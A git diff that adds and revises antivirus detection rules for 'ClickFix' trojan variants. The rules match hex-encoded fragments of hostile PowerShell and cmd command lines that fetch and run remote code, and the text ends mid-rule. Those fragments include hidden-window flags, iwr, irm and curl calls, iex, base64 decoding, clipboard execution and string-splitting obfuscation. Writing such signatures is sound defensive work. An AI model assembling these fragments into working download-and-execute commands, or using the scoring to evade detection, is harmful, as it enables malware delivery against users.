--- a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SH.yar +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SH.yar @@ -1,18 +1,28 @@ rule Trojan_Win32_ClickFix_SH{ meta: - description = "Trojan:Win32/ClickFix.SH,SIGNATURE_TYPE_CMDHSTR_EXT,71 00 71 00 08 00 00 " + description = "Trojan:Win32/ClickFix.SH,SIGNATURE_TYPE_CMDHSTR_EXT,71 00 71 00 12 00 00 " strings : $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //100 powershell $a_00_1 = {2d 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 } //10 -w hidden $a_00_2 = {2d 00 77 00 20 00 31 00 } //10 -w 1 $a_00_3 = {2d 00 77 00 20 00 68 00 20 00 } //10 -w h - $a_00_4 = {3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 ::frombase64string( - $a_00_5 = {2d 00 75 00 73 00 65 00 62 00 20 00 } //1 -useb - $a_00_6 = {69 00 77 00 72 00 } //1 iwr - $a_00_7 = {69 00 65 00 78 00 } //1 iex + $a_00_4 = {e2 00 80 00 95 00 77 00 20 00 68 00 20 00 } //10 + $a_00_5 = {e2 00 80 00 94 00 77 00 20 00 68 00 20 00 } //10 + $a_00_6 = {e2 00 80 00 94 00 77 00 20 00 31 00 20 00 } //10 + $a_00_7 = {e2 00 80 00 95 00 77 00 20 00 31 00 20 00 } //10 + $a_00_8 = {2f 00 77 00 20 00 68 00 20 00 } //10 /w h + $a_00_9 = {2f 00 77 00 20 00 31 00 20 00 } //10 /w 1 + $a_00_10 = {3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 } //1 ::frombase64string( + $a_00_11 = {2d 00 75 00 73 00 65 00 62 00 20 00 } //1 -useb + $a_02_12 = {2d 00 75 00 72 00 69 00 [0-10] 2d 00 75 00 73 00 65 00 62 00 61 00 73 00 69 00 63 00 70 00 61 00 72 00 73 00 69 00 6e 00 67 00 } //1 + $a_02_13 = {2e 00 6c 00 65 00 6e 00 67 00 74 00 68 00 [0-10] 2d 00 6a 00 6f 00 69 00 6e 00 [0-30] 3d 00 5b 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 75 00 74 00 66 00 38 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 [0-30] 69 00 65 00 78 00 [0-30] 28 00 69 00 77 00 72 00 20 00 2d 00 75 00 72 00 69 00 20 00 24 00 } //11 + $a_00_14 = {69 00 77 00 72 00 } //1 iwr + $a_02_15 = {24 00 72 00 65 00 73 00 [0-30] 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 65 00 62 00 72 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 } //1 + $a_02_16 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 [0-30] 2d 00 75 00 72 00 69 00 [0-30] 3b 00 [0-10] 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 [0-20] 24 00 } //1 + $a_00_17 = {69 00 65 00 78 00 } //1 iex condition: - ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1) >=113 + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_02_12 & 1)*1+(#a_02_13 & 1)*11+(#a_00_14 & 1)*1+(#a_02_15 & 1)*1+(#a_02_16 & 1)*1+(#a_00_17 & 1)*1) >=113 } \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SHA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SHA.yar new file mode 100644 index 0000000000..f92823e5f5 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SHA.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_SHA{ + meta: + description = "Trojan:Win32/ClickFix.SHA,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //1 + $a_00_1 = {63 00 75 00 72 00 6c 00 } //1 curl + $a_00_2 = {5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 [convert]::frombase64string + $a_00_3 = {7c 00 90 00 27 00 10 00 00 00 69 00 65 00 78 00 } //1 + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SI.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SI.yar new file mode 100644 index 0000000000..5c1fe95e1d --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SI.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_ClickFix_SI{ + meta: + description = "Trojan:Win32/ClickFix.SI,SIGNATURE_TYPE_CMDHSTR_EXT,32 00 32 00 07 00 00 " + + strings : + $a_02_0 = {63 00 6d 00 64 00 [0-10] 2f 00 63 00 } //10 + $a_00_1 = {2f 00 6d 00 69 00 6e 00 } //10 /min + $a_00_2 = {73 00 74 00 61 00 72 00 74 00 20 00 } //10 start + $a_00_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 } //10 powershell + $a_00_4 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_5 = {2e 00 70 00 73 00 31 00 } //-100 .ps1 + $a_00_6 = {2e 00 68 00 74 00 61 00 } //-100 .hta + condition: + ((#a_02_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*-100+(#a_00_6 & 1)*-100) >=50 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SIA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SIA.yar new file mode 100644 index 0000000000..a93be2ae58 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SIA.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_ClickFix_SIA{ + meta: + description = "Trojan:Win32/ClickFix.SIA,SIGNATURE_TYPE_CMDHSTR_EXT,15 00 15 00 04 00 00 " + + strings : + $a_02_0 = {63 00 6d 00 64 00 [0-10] 2f 00 63 00 [0-30] 63 00 75 00 72 00 6c 00 } //10 + $a_00_1 = {68 00 74 00 74 00 70 00 } //10 http + $a_00_2 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 } //1 powershell + $a_00_3 = {6d 00 73 00 68 00 74 00 61 00 } //1 mshta + condition: + ((#a_02_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=21 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SJ.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SJ.yar new file mode 100644 index 0000000000..f811e06439 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SJ.yar @@ -0,0 +1,16 @@ + +rule Trojan_Win32_ClickFix_SJ{ + meta: + description = "Trojan:Win32/ClickFix.SJ,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 06 00 00 " + + strings : + $a_00_0 = {2d 00 73 00 70 00 6c 00 69 00 74 00 } //1 -split + $a_00_1 = {2d 00 6a 00 6f 00 69 00 6e 00 } //1 -join + $a_00_2 = {73 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 substring + $a_00_3 = {77 00 68 00 65 00 72 00 65 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 24 00 5f 00 7d 00 } //1 where-object {$_} + $a_00_4 = {66 00 6f 00 72 00 65 00 61 00 63 00 68 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 74 00 6f 00 69 00 6e 00 74 00 33 00 32 00 28 00 24 00 5f 00 2c 00 31 00 36 00 29 00 29 00 7d 00 } //1 foreach-object {[char]([convert]::toint32($_,16))} + $a_00_5 = {27 00 28 00 3f 00 3c 00 3d 00 5c 00 67 00 2e 00 2e 00 29 00 27 00 7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 28 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 74 00 6f 00 69 00 6e 00 74 00 33 00 32 00 28 00 24 00 5f 00 2c 00 31 00 36 00 29 00 29 00 7d 00 29 00 } //3 '(?<=\g..)'|%{[char]([convert]::toint32($_,16))}) + condition: + ((#a_00_0 & 1)*1+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKA.yar new file mode 100644 index 0000000000..9a8c9f5834 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKA.yar @@ -0,0 +1,28 @@ + +rule Trojan_Win32_ClickFix_SKA{ + meta: + description = "Trojan:Win32/ClickFix.SKA,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff90 01 ffffff90 01 12 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //200 + $a_00_1 = {2d 00 77 00 } //200 -w + $a_00_2 = {e2 00 80 00 95 00 77 00 } //200 + $a_00_3 = {e2 00 80 00 94 00 77 00 } //200 + $a_00_4 = {2f 00 77 00 } //200 /w + $a_00_5 = {e2 00 80 00 93 00 77 00 } //200 + $a_00_6 = {2d 00 22 00 77 00 } //200 -"w + $a_00_7 = {e2 00 80 00 95 00 22 00 77 00 } //200 + $a_00_8 = {e2 00 80 00 94 00 22 00 77 00 } //200 + $a_00_9 = {2f 00 22 00 77 00 } //200 /"w + $a_00_10 = {e2 00 80 00 93 00 22 00 77 00 } //200 + $a_00_11 = {2d 00 27 00 77 00 } //200 -'w + $a_00_12 = {e2 00 80 00 95 00 27 00 77 00 } //200 + $a_00_13 = {e2 00 80 00 94 00 27 00 77 00 } //200 + $a_00_14 = {2f 00 27 00 77 00 } //200 /'w + $a_00_15 = {e2 00 80 00 93 00 27 00 77 00 } //200 + $a_00_16 = {70 00 73 00 31 00 } //-1000 ps1 + $a_02_17 = {62 00 6c 00 6f 00 62 00 2e 00 63 00 6f 00 72 00 65 00 2e 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 6e 00 65 00 74 00 [0-ff] 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 } //-1000 + condition: + ((#a_00_0 & 1)*200+(#a_00_1 & 1)*200+(#a_00_2 & 1)*200+(#a_00_3 & 1)*200+(#a_00_4 & 1)*200+(#a_00_5 & 1)*200+(#a_00_6 & 1)*200+(#a_00_7 & 1)*200+(#a_00_8 & 1)*200+(#a_00_9 & 1)*200+(#a_00_10 & 1)*200+(#a_00_11 & 1)*200+(#a_00_12 & 1)*200+(#a_00_13 & 1)*200+(#a_00_14 & 1)*200+(#a_00_15 & 1)*200+(#a_00_16 & 1)*-1000+(#a_02_17 & 1)*-1000) >=400 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKB.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKB.yar new file mode 100644 index 0000000000..78f3a9e9bf --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_ClickFix_SKB{ + meta: + description = "Trojan:Win32/ClickFix.SKB,SIGNATURE_TYPE_CMDHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //2 + $a_00_1 = {e2 00 80 00 93 00 } //2 + $a_00_2 = {e2 00 80 00 94 00 } //2 + $a_00_3 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 } //2 invoke-restmethod + $a_00_4 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 } //2 invoke-expression + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKC.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKC.yar new file mode 100644 index 0000000000..5eeabd0950 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKC.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_SKC{ + meta: + description = "Trojan:Win32/ClickFix.SKC,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 } //1 powershell.exe + $a_02_1 = {73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 78 00 6d 00 6c 00 2e 00 78 00 6d 00 6c 00 64 00 6f 00 63 00 75 00 6d 00 65 00 6e 00 74 00 3b 00 [0-30] 6c 00 6f 00 61 00 64 00 28 00 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 74 00 65 00 78 00 74 00 2e 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 61 00 73 00 63 00 69 00 69 00 2e 00 67 00 65 00 74 00 73 00 74 00 72 00 69 00 6e 00 67 00 } //1 + $a_00_2 = {7c 00 69 00 65 00 78 00 } //1 |iex + condition: + ((#a_00_0 & 1)*1+(#a_02_1 & 1)*1+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKD.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKD.yar new file mode 100644 index 0000000000..999fc46c65 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKD.yar @@ -0,0 +1,21 @@ + +rule Trojan_Win32_ClickFix_SKD{ + meta: + description = "Trojan:Win32/ClickFix.SKD,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 0b 00 00 " + + strings : + $a_00_0 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_00_1 = {20 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 90 00 02 00 ff 00 68 00 74 00 74 00 70 00 } //1 + $a_00_2 = {20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 } //1 powershell + $a_00_3 = {20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 } //1 powershell.exe + $a_00_4 = {5c 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 5c 00 6d 00 73 00 65 00 64 00 67 00 65 00 2e 00 65 00 78 00 65 00 } //-100 \application\msedge.exe + $a_00_5 = {70 00 73 00 61 00 70 00 70 00 64 00 65 00 70 00 6c 00 6f 00 79 00 74 00 6f 00 6f 00 6c 00 6b 00 69 00 74 00 } //-100 psappdeploytoolkit + $a_00_6 = {6f 00 70 00 65 00 6e 00 77 00 65 00 62 00 73 00 65 00 61 00 72 00 63 00 68 00 2e 00 63 00 6d 00 64 00 } //-100 openwebsearch.cmd + $a_00_7 = {77 00 69 00 6e 00 67 00 65 00 74 00 2d 00 61 00 75 00 74 00 6f 00 75 00 70 00 64 00 61 00 74 00 65 00 } //-100 winget-autoupdate + $a_00_8 = {3a 00 2f 00 2f 00 69 00 6e 00 76 00 65 00 6e 00 74 00 6f 00 72 00 79 00 2e 00 6b 00 69 00 74 00 65 00 6e 00 65 00 74 00 2e 00 63 00 68 00 2f 00 70 00 75 00 62 00 } //-100 ://inventory.kitenet.ch/pub + $a_00_9 = {28 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 28 00 5b 00 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 77 00 69 00 6e 00 33 00 32 00 2e 00 72 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 5d 00 3a 00 3a 00 67 00 65 00 74 00 76 00 61 00 6c 00 75 00 65 00 } //-100 ([scriptblock]::create([microsoft.win32.registry]::getvalue + $a_00_10 = {5c 00 73 00 61 00 6c 00 76 00 61 00 67 00 65 00 32 00 6f 00 6e 00 65 00 64 00 72 00 69 00 76 00 65 00 5c 00 73 00 61 00 6c 00 76 00 61 00 67 00 65 00 32 00 6f 00 6e 00 65 00 64 00 72 00 69 00 76 00 65 00 2e 00 70 00 73 00 31 00 } //-100 \salvage2onedrive\salvage2onedrive.ps1 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*-100+(#a_00_5 & 1)*-100+(#a_00_6 & 1)*-100+(#a_00_7 & 1)*-100+(#a_00_8 & 1)*-100+(#a_00_9 & 1)*-100+(#a_00_10 & 1)*-100) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKDA.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKDA.yar new file mode 100644 index 0000000000..006d30ed72 --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKDA.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_ClickFix_SKDA{ + meta: + description = "Trojan:Win32/ClickFix.SKDA,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 03 00 00 " + + strings : + $a_00_0 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_00_1 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 } //1 cmd.exe + $a_02_2 = {2e 00 70 00 68 00 70 00 [0-30] 2d 00 6f 00 [0-ff] 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 } //1 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*1+(#a_02_2 & 1)*1) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKE.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKE.yar new file mode 100644 index 0000000000..82bc206eab --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKE.yar @@ -0,0 +1,27 @@ + +rule Trojan_Win32_ClickFix_SKE{ + meta: + description = "Trojan:Win32/ClickFix.SKE,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 11 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_00_1 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_02_2 = {27 00 2b 00 27 00 [0-50] 27 00 2b 00 27 00 [0-50] 27 00 2b 00 27 00 [0-50] 27 00 2b 00 27 00 } //1 + $a_02_3 = {22 00 2b 00 22 00 [0-10] 22 00 2b 00 22 00 [0-30] 22 00 2b 00 22 00 [0-30] 22 00 2b 00 22 00 } //1 + $a_02_4 = {2d 00 77 00 20 00 31 00 [0-ff] 27 00 20 00 2b 00 20 00 27 00 [0-ff] 27 00 20 00 2b 00 20 00 27 00 [0-ff] 26 00 [0-10] 24 00 } //1 + $a_02_5 = {2d 00 77 00 20 00 68 00 [0-ff] 27 00 20 00 2b 00 20 00 27 00 [0-ff] 27 00 20 00 2b 00 20 00 27 00 [0-ff] 26 00 [0-10] 24 00 } //1 + $a_02_6 = {7b 00 30 00 7d 00 7b 00 31 00 7d 00 7b 00 32 00 7d 00 [0-50] 20 00 2d 00 66 00 20 00 } //1 + $a_02_7 = {5b 00 30 00 5d 00 [0-30] 5b 00 31 00 5d 00 [0-30] 5b 00 32 00 5d 00 [0-30] 5b 00 33 00 5d 00 } //1 + $a_02_8 = {63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 2e 00 65 00 78 00 65 00 00 [0-10] 63 00 6d 00 64 00 [0-ff] 5e 00 [0-10] 5e 00 [0-10] 5e 00 [0-ff] 2d 00 73 00 } //11 + $a_02_9 = {e2 00 80 00 94 00 57 00 20 00 68 00 [0-ff] 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 } //1 + $a_02_10 = {e2 00 80 00 94 00 57 00 20 00 68 00 [0-ff] 2d 00 75 00 72 00 69 00 } //1 + $a_02_11 = {e2 00 80 00 95 00 77 00 20 00 68 00 [0-ff] 2d 00 75 00 72 00 69 00 } //1 + $a_00_12 = {5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 63 00 6f 00 6e 00 63 00 61 00 74 00 28 00 28 00 27 00 72 00 27 00 2c 00 27 00 77 00 27 00 2c 00 27 00 69 00 27 00 29 00 5b 00 } //1 [string]::concat(('r','w','i')[ + $a_00_13 = {5b 00 73 00 74 00 72 00 69 00 6e 00 67 00 5d 00 3a 00 3a 00 63 00 6f 00 6e 00 63 00 61 00 74 00 28 00 28 00 27 00 78 00 27 00 2c 00 27 00 65 00 27 00 2c 00 27 00 69 00 27 00 29 00 5b 00 } //1 [string]::concat(('x','e','i')[ + $a_02_14 = {7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 24 00 5f 00 7d 00 29 00 2d 00 6a 00 6f 00 69 00 6e 00 27 00 27 00 [0-50] 6e 00 65 00 74 00 2e 00 77 00 65 00 62 00 63 00 6c 00 69 00 65 00 6e 00 74 00 } //1 + $a_02_15 = {28 00 5b 00 72 00 65 00 67 00 65 00 78 00 5d 00 3a 00 3a 00 6d 00 61 00 74 00 63 00 68 00 65 00 73 00 28 00 24 00 68 00 2c 00 27 00 2e 00 2e 00 27 00 29 00 7c 00 25 00 7b 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 74 00 6f 00 69 00 6e 00 74 00 33 00 32 00 28 00 24 00 5f 00 2e 00 76 00 61 00 6c 00 75 00 65 00 2c 00 31 00 36 00 29 00 7d 00 29 00 2d 00 6a 00 6f 00 69 00 6e 00 27 00 27 00 [0-ff] 75 00 69 00 6c 00 65 00 76 00 65 00 6c 00 } //1 + $a_00_16 = {5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 2e 00 70 00 73 00 31 00 } //-100 \systemservices.ps1 + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_02_5 & 1)*1+(#a_02_6 & 1)*1+(#a_02_7 & 1)*1+(#a_02_8 & 1)*11+(#a_02_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_02_14 & 1)*1+(#a_02_15 & 1)*1+(#a_00_16 & 1)*-100) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKZ.yar b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKZ.yar new file mode 100644 index 0000000000..f2c99aa34e --- /dev/null +++ b/Trojan/Win32/ClickFix/Trojan_Win32_ClickFix_SKZ.yar @@ -0,0 +1,32 @@ + +rule Trojan_Win32_ClickFix_SKZ{ + meta: + description = "Trojan:Win32/ClickFix.SKZ,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff82 00 ffffff82 00 16 00 00 " + + strings : + $a_00_0 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 } //10 + $a_00_1 = {2d 00 77 00 } //20 -w + $a_00_2 = {e2 00 80 00 95 00 77 00 } //20 + $a_00_3 = {e2 00 80 00 94 00 77 00 } //20 + $a_00_4 = {2f 00 77 00 } //20 /w + $a_00_5 = {e2 00 80 00 93 00 77 00 } //20 + $a_00_6 = {2d 00 22 00 77 00 } //20 -"w + $a_00_7 = {e2 00 80 00 95 00 22 00 77 00 } //20 + $a_00_8 = {e2 00 80 00 94 00 22 00 77 00 } //20 + $a_00_9 = {2f 00 22 00 77 00 } //20 /"w + $a_00_10 = {e2 00 80 00 93 00 22 00 77 00 } //20 + $a_00_11 = {2d 00 27 00 77 00 } //20 -'w + $a_00_12 = {e2 00 80 00 95 00 27 00 77 00 } //20 + $a_00_13 = {e2 00 80 00 94 00 27 00 77 00 } //20 + $a_00_14 = {2f 00 27 00 77 00 } //20 /'w + $a_00_15 = {e2 00 80 00 93 00 27 00 77 00 } //20 + $a_02_16 = {69 00 72 00 6d 00 [0-ff] 63 00 6c 00 69 00 70 00 [0-50] 28 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 [0-50] 67 00 65 00 74 00 2d 00 63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 29 00 } //100 + $a_02_17 = {63 00 6c 00 69 00 70 00 [0-60] 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 63 00 72 00 65 00 61 00 74 00 65 00 [0-50] 67 00 65 00 74 00 2d 00 63 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 [0-50] 5b 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 65 00 6e 00 76 00 69 00 72 00 6f 00 6e 00 6d 00 65 00 6e 00 74 00 5d 00 3a 00 3a 00 6e 00 65 00 77 00 6c 00 69 00 6e 00 65 00 } //100 + $a_02_18 = {69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 73 00 74 00 6d 00 65 00 74 00 68 00 6f 00 64 00 [0-ff] 2d 00 75 00 72 00 69 00 [0-ff] 3b 00 [0-ff] 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 65 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 90 27 30 00 24 00 } //100 + $a_02_19 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 [0-ff] 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 [0-ff] 63 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 [0-ff] 66 00 74 00 70 00 [0-ff] 2e 00 6c 00 6f 00 67 00 } //130 + $a_02_20 = {28 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 2d 00 63 00 6f 00 6d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 29 00 2e 00 73 00 70 00 65 00 63 00 69 00 61 00 6c 00 66 00 6f 00 6c 00 64 00 65 